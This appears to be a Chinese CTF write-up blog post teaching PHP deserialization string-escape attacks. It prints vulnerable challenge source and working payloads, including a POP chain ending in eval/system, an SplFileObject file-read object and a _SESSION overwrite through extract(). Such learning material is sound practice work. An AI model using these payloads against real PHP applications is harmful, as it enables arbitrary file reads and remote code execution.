反序列化之字符串逃逸数学题-刷题
反序列化之字符串逃逸(数学题)
一 more
原理:
一句话:手长莫及
通常题目有个简单的过滤器(尤其是替换型的),它会替换一些字符串,而造成变量覆盖
http://XXX/class16/1.php莫橙科技例题
<?php
highlight_file(__FILE__);
error_reporting(0);
function filter($name){
$safe=array("flag","php");
$name=str_replace($safe,"hack",$name);
return $name;
}
class test{
var $user;
var $pass='daydream';
function __construct($user){
$this->user=$user;
}
}
$param=$_GET['param'];
$param=serialize(new test($param));
$profile=unserialize(filter($param));
if ($profile->pass=='escaping'){
echo file_get_contents("flag.php");
}
pass变量不可控,尝试覆盖,$param时会触发反序列化代码,so
<?php
error_reporting(0);
function filter($name){
$safe=array("flag","php");
$name=str_replace($safe,"hack",$name);
return $name;
}
class test{
var $user='phpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphp';
var $pass='escaping';
}
$param=serialize(new test($param));
echo $param;
echo filter($param);
?>
O:4:"test":2:{s:4:"user";s:3:"php";s:4:"pass";s:8:"escaping";}
O:4:"test":2:{s:4:"user";s:3:"hack";s:4:"pass";s:8:"escaping";}
数学题:php->hack吞一个字符";s:4:"pass";s:8:"escaping";}共29个字符故29个php,吞二十九个覆盖变量名,
O:4:"test":2:{s:4:"user";s:87:"phpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphp";s:4:"pass";s:8:"escaping";}
大括号后加啥都行
例题:
prize-p5
源码有点长:
<?php
error_reporting(0);
class catalogue{
public $class;
public $data;
public function __construct()
{
$this->class = "error";
$this->data = "hacker";
}
public function __destruct()
{
echo new $this->class($this->data);
}
}
class error{
public function __construct($OTL)
{
$this->OTL = $OTL;
echo ("hello ".$this->OTL);
}
}
class escape{
public $name = 'OTL';
public $phone = '123666';
public $email = 'sweet@OTL.com';
}
function abscond($string) {
$filter = array('NSS', 'CTF', 'OTL_QAQ', 'hello');
$filter = '/' . implode('|', $filter) . '/i';
return preg_replace($filter, 'hacker', $string);
}
if(isset($_GET['cata'])){
if(!preg_match('/object/i',$_GET['cata'])){
unserialize($_GET['cata']);
}
else{
$cc = new catalogue();
unserialize(serialize($cc));
}
if(isset($_POST['name'])&&isset($_POST['phone'])&&isset($_POST['email'])){
if (preg_match("/flag/i",$_POST['email'])){
die("nonono,you can not do that!");
}
$abscond = new escape();
$abscond->name = $_POST['name'];
$abscond->phone = $_POST['phone'];
$abscond->email = $_POST['email'];
$abscond = serialize($abscond);
$escape = get_object_vars(unserialize(abscond($abscond)));
if(is_array($escape['phone'])){
echo base64_encode(file_get_contents($escape['email']));
}
else{
echo "I'm sorry to tell you that you are wrong";
}
}
}
else{
highlight_file(__FILE__);
}
?>
但是一旦有一个filter过滤器就很明白了,这个过滤器会替换一些字符:后面一些内容是干扰项,在php中我们有一些内置的类进行操作
随payload:?cata=O:9:"catalogue":2:{s:5:"class";S:13:"SplFileOb\6Aect";s:4:"data";s:5:"/flag";}我们是可以通过不设置name等其他的绕过干扰项来绕过正则的
[UUCTF 2022 新生赛]ezpop
pop链+字符串逃逸
<?php
//flag in flag.php
error_reporting(0);
class UUCTF{//此步仅为检查
public $name,$key,$basedata,$ob;
function __construct($str){
$this->name=$str;
}
function __wakeup(){
if($this->key==="UUCTF"){
$this->ob=unserialize(base64_decode($this->basedata));
}
else{
die("oh!you should learn PHP unserialize String escape!");
}
}
}
class output{//3
public $a;
function __toString(){
$this->a->rce();
}
}
class nothing{//2
public $a;
public $b;
public $t;
function __wakeup(){
$this->a="";
}
function __destruct(){
$this->b=$this->t;
die($this->a);
}
}
class youwant{//目标4
public $cmd;
function rce(){
eval($this->cmd);
}
}
$pdata=$_POST["data"];//1
if(isset($pdata))
{
$data=serialize(new UUCTF($pdata));
$data_replace=str_replace("hacker","loveuu!",$data);
unserialize($data_replace);
}else{
highlight_file(__FILE__);
}
?>
抓首尾,遂构造payload:
<?php
class UUCTF{
public $name,$key,$basedata,$ob;
function __construct($str){
$this->name=$str;
}
function __wakeup(){
if($this->key==="UUCTF"){
$this->ob=unserialize(base64_decode($this->basedata));
}
else{
die("oh!you should learn PHP unserialize String escape!");
}
}
}
class output{
public $a; // 1 youwant
function __toString(){
$this->a->rce();
}
}
class nothing{
public $a; // 2 output
public $b;
public $t;
function __wakeup(){
$this->a="";
}
function __destruct(){
$this->b=$this->t;
die($this->a);
}
}
class youwant{
public $cmd; // 注入点
function rce(){
eval($this->cmd);
}
}
$a = new youwant();
$a->cmd = 'system("ls ../../../../../../../");';
$b = new output();
$b->a = $a;
$c = new nothing();
$c->a = &$c->b;
$c->t = $b;
$basedata = base64_encode(serialize($c));
echo strlen($basedata);
echo "\n";
$post='";s:3:"key";s:5:"UUCTF";s:8:"basedata";s:'.strlen($basedata).':"'.$basedata.'";s:2:"ob";N;}';
for($i=0;$i<strlen($post);$i++)
{
$hacker=$hacker.'hacker';
}
echo $hacker.$post;
遂只要计算命令吐出的长度,就可一覆盖变量名,实行字符串逃逸
[安洵杯 2019]easy_serialize_php
前置知识
extract()函数和get&post上传的个人见解_extract函数的用法-CSDN博客
字符逃逸+变量覆盖
这题刚看上去是有一点不到的
<?php
$function = @$_GET['f'];
function filter($img){
$filter_arr = array('php','flag','php5','php4','fl1g');
$filter = '/'.implode('|',$filter_arr).'/i';
return preg_replace($filter,'',$img);
}
if($_SESSION){
unset($_SESSION);
}
$_SESSION["user"] = 'guest';
$_SESSION['function'] = $function;
extract($_POST);
if(!$function){
echo '<a href="index.php?f=highlight_file">source_code</a>';
}
if(!$_GET['img_path']){
$_SESSION['img'] = base64_encode('guest_img.png');
}else{
$_SESSION['img'] = sha1(base64_encode($_GET['img_path']));
}
$serialize_info = filter(serialize($_SESSION));
if($function == 'highlight_file'){
highlight_file('index.php');
}else if($function == 'phpinfo'){
eval('phpinfo();'); //maybe you can find something in here!
}else if($function == 'show_image'){
$userinfo = unserialize($serialize_info);
echo file_get_contents(base64_decode($userinfo['img']));
}
首先没有所谓的post传值反序列化,只有extract($_POST),根据我们的前置知识,有可以通过,extract进行变量覆盖而达到字符串的逃逸,所以容易知:
f=image_info
首先访问phpinfo传参?f=php_info获取到值d0g3_f1ag.php
function=show_image&_SESSION[user]=phpflagflagflagflagflag&_SESSION[function]=";s:3:"img";s:20:"L2QwZzNfZmxsbGxsbGFn";s:1:"1";s:1:"1";}
这里还有个base64_encode命令执行时注意base64加密
最后获得结果。。。

浙公网安备 33010602011771号